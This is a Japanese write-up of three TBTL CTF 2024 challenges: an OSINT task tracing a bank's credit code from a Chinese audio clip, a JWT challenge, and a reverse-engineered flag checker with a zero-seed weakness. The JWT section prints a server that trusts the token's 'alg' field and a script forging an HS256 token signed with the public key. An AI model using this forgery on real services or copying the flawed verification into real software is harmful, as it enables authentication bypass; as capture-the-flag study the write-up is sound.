TBTL CTF 2024 Writeups 解いた問題だけ

TBTL CTF 2024に参加しました
時間があまり確保できなかったので自分の解いたIntroを除く3問分だけです
戦績はこんな感じでした
![2024-05-13 07.03.01 tbtl.ctfd.io a21a4cd6e968.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636992/293e5d26-2092-4a83-d149-b6cccb490bab.png)

#  Misc
## Tower of Babel 
```
祝你好运
```

翻訳したらGood Luckとのこと

とりあえず、配布された`mp3`を聞いてみると中国語っぽい？？
筆者は残念ながら中国語話者ではないため、翻訳したい。
音声を直で翻訳するのはむずかしいのでとりあえずテキスト形式にしたい。
https://app.notta.ai
このサービスを使用してテキストにしてみた。出力は以下のとおりである
```
该标志的格式如常，我们的合作伙伴云海连锁控股有限公司，总部位于海南岛海口附近，找到距离他们的办事处最近的银行，标志内的内容是该银行的统一社会信用代码，代码以九十一开始，以五十六结束。
```

これを、何個かの機械翻訳に通した結果内容は大まかに以下のとおりであることが分かった。
```
  
この標識の形式は通常通りで、私たちのパートナーである「雲海連鎖控股有限公司」の本社は海南島の海口近郊にあります。彼らのオフィスに最も近い銀行を見つけ、標識にはその銀行の統一社会信用コードが記載されています。コードは91で始まり、56で終わります。
```

とりあえず、`雲海連鎖控股有限公司`なる会社を探せばよさそう。場所は海南島海口市
ただし、AIでトランスクリプトしたので会社名のような固有名詞は正しく翻訳できていない可能性が高いことに留意する。

Baiduで検索した結果以下のページを発見
https://www.ssc-hn.com
住所を調べると実際に海南島海口市なのである程度の確信を得る
`住所: 海南省老城高新技术产业示范区海南生态软件园沃克公园8831栋`

Baidu Mapで検索するとこんな感じ
![2024-05-12 22.33.19 map.baidu.com 4b127d18d8e9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636992/6e740c75-48d3-9c23-994c-b7e1c759a035.png)


敷地内？に銀行が見えるので、これもまたBaiduで検索してみる
以下のページを発見 
https://gongshang.mingluji.com/hainan/name/%E6%B5%B7%E5%8D%97%E6%BE%84%E8%BF%88%E5%86%9C%E6%9D%91%E5%95%86%E4%B8%9A%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8%E7%A7%91%E6%8A%80%E6%94%AF%E8%A1%8C

企業情報が記載されている。社会信用コードの欄を見るとビンゴ
![2024-05-12 22.36.01 gongshang.mingluji.com 3c2d2af9ac33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636992/8d080ecb-2cf8-aa50-23ff-7d7f77432892.png)

`91`で始まり、`56`で終わっている。
この社会信用コードをフラグとして提出して終了

## your paper please
```python
#!/usr/bin/python3

import base64
import datetime
import json
import os
import signal

import humanize
import jwt


# openssl ecparam -name secp521r1 -genkey -noout -out private.key
# openssl ec -in private.key -pubout -out public.pem
PUBLIC_KEY = u'''-----BEGIN PUBLIC KEY-----
MIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQBGOtycGkAMpTEDsjFykEywLecIdCX
1QIShxmJB0qJj9K2yFNwJj/eRR6yzIZcHJPZWzQU6Mad62y1MsJ8uOgdZ2sBmkS0
HJtT4FZq/EQbtkHeahsDnSLbFpPfoN/t8hmKrVmDzDRGe3PNl7OQVuzoY2TVSxVK
IKmpZ9Pw9/5HOzSmOxs=-----END PUBLIC KEY-----
'''


def myprint(s):
    print(s, flush=True)


def handler(_signum, _frame):
    myprint("Time out!")
    exit(0)


def decode(token):
    signing_input, crypto_segment = token.rsplit(".", 1)
    header_segment, payload_segment = signing_input.split(".", 1)
    print(header_segment)
    header_data = base64.urlsafe_b64decode(header_segment)
    header = json.loads(header_data)
    alg = header["alg"]
    return jwt.decode(token, algorithms=[alg], key=PUBLIC_KEY)


def main():
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(300)

    myprint("Your papers, please.")
    token = input()
    mdl = decode(token)
    assert mdl["docType"] == "iso.org.18013.5.1.mDL"
    family_name = mdl["family_name"] 
    given_name = mdl["given_name"] 
    expiry_date = datetime.datetime.strptime(mdl["expiry_date"], "%Y-%m-%dT%H:%M:%S.%f")
    myprint("Hello {} {}!".format(given_name, family_name))
    delta = expiry_date - datetime.datetime.now()
    if delta <= datetime.timedelta(0):
        myprint("Your papers expired {} ago!".format(humanize.naturaldelta(delta)))
        exit(0)

    flag = open("flag.txt", "r").read().strip()
    myprint("Your papers are in order, here is your flag: {}".format(flag))
    exit(0)


if __name__ == '__main__':
    main()
```

以上のpythonスクリプトが渡される
中身を読むとどうやらJWTで認証っぽいことをしている
JWT詳しくないので取り合えずいろいろ資料を読む 

ポイントはここだった
```python
alg = header["alg"]
```
使用するアルゴリズムが決まっていない。トークンに書いてある内容をもとに動的に決めるようになっている。ユーザーが、アルゴリズムを決定できてしまう。

とりあえず`alg=none`で挑むもダメ。昔はアルゴリズムを`none`にするとすり抜けられたらしいが、最近は対策されているようだ。

次に使ったのが`HS256`
このアルゴリズムは、公開鍵暗号方式ではなく**同じキーを使っているかどうか**つまり共通鍵なのでハードコードしてある公開鍵をキーに設定すれば通りそうだ

```python
import base64
import json
import jwt

PUBLIC_KEY = u'''-----BEGIN PUBLIC KEY-----
MIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQBGOtycGkAMpTEDsjFykEywLecIdCX
1QIShxmJB0qJj9K2yFNwJj/eRR6yzIZcHJPZWzQU6Mad62y1MsJ8uOgdZ2sBmkS0
HJtT4FZq/EQbtkHeahsDnSLbFpPfoN/t8hmKrVmDzDRGe3PNl7OQVuzoY2TVSxVK
IKmpZ9Pw9/5HOzSmOxs=-----END PUBLIC KEY-----
'''

header = {"alg": "HS256", "typ": "JWT"}

payload = {
    "version": "1.0",
    "docType": "iso.org.18013.5.1.mDL",
    "family_name": "TURNER",
    "given_name": "SUSAN",
    "birth_date": "1998-08-28",
    "issue_date": "2018-01-15T10:00:00.00",
    "expiry_date": "2024-08-27T12:00:00.00",
    "issuing_country": "US",
    "issuing_authority": "CO",
    "document_number": "542426814",
    "driving_privileges": [
        {
            "codes": [{"code": "D"}],
            "vehicle_category_code": "D",
            "issue_date": "2019-01-01",
            "expiry_date": "2027-01-01"
        }
    ],
    "un_distinguishing_sign": "USA"
}

jwt = jwt.encode(payload=payload, key=PUBLIC_KEY, headers=header, algorithm="HS256")
print(jwt)
```
このスクリプトで生成したトークンを使ったところフラグが入手できた

参考にさせていただいたブログ
[セキュリティ視点からの JWT 入門](https://scgajge12.hatenablog.com/entry/jwt_security)
# rev
## flagcheck
64bit ELF
アセンブラのまま読もうとしたが、ある程度複雑なことやってたのでghidraに移行
だいたいこんな感じ 
![Pasted image 20240513070805.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636992/be613249-823c-b8be-58a4-78235f4dcbc4.png)


1. 入力は63文字でなくてはならない
2. 入力を使って乱数シードを生成
3. 乱数を生成して入力とXORしてから, ハードコードされたバイナリと比較

初見では、シンプル故にどうやって解くのか本当にわからなかった。
ポイントはシードを生成するこの行
```c
seed = (int)pass[i] * seed;
```

`seed`の計算は乗算で行っているため、入力に一度でも`0`が混ざれば最終的なシードも`0`になる

まさかな...と思いつつも他に方法が思いつかないのでこんな感じのエクスプロイトコードを書いて試す。
シード`0`で乱数を生成して、元のコードに沿ったことをしているだけ。
```python
import subprocess

target = [
    0x33, 0x84, 0x3d, 0x3f, 0x2a, 0x93, 0x7b, 0x82,
    0x1a, 0xac, 0x8e, 0xf4, 0xb1, 0xcb, 0x8d, 0x21,
    0x0e, 0xb7, 0x67, 0x96, 0x2c, 0x81, 0xd3, 0xbc,
    0x29, 0x6c, 0x4b, 0x0d, 0x00, 0xed, 0xfd, 0xee, 0x56,
    0x40, 0x52, 0xd5, 0x05, 0x6d, 0x90, 0x3e, 0x7a,
    0x1b, 0x69, 0x23, 0x1f, 0xb6, 0x1d, 0xbc, 0x98,
    0xd1, 0xa6, 0x83, 0xe9, 0xeb, 0x13, 0x21, 0x3d,
    0xf8, 0x2b, 0x79, 0x53, 0x4f, 0xa1
]

result = subprocess.run(['./check_rand', str(0)], capture_output=True, text=True)

print(result.stderr)
res = result.stdout.split("\n")
rand = []
for i in range(len(res) - 1):
    rand.append(int(res[i]) % 0x100)
print(rand)

flag = ""
print(len(target))
for i in range(63):
    flag += chr(target[i] ^ rand[i])

print(flag)
```

フラグが出てしまいました
`TBTL{l1n3a4_C0ngru3n7i41_6en3r4t0r_b453d_Fl4G_Ch3ckEr_G03z_8rr}`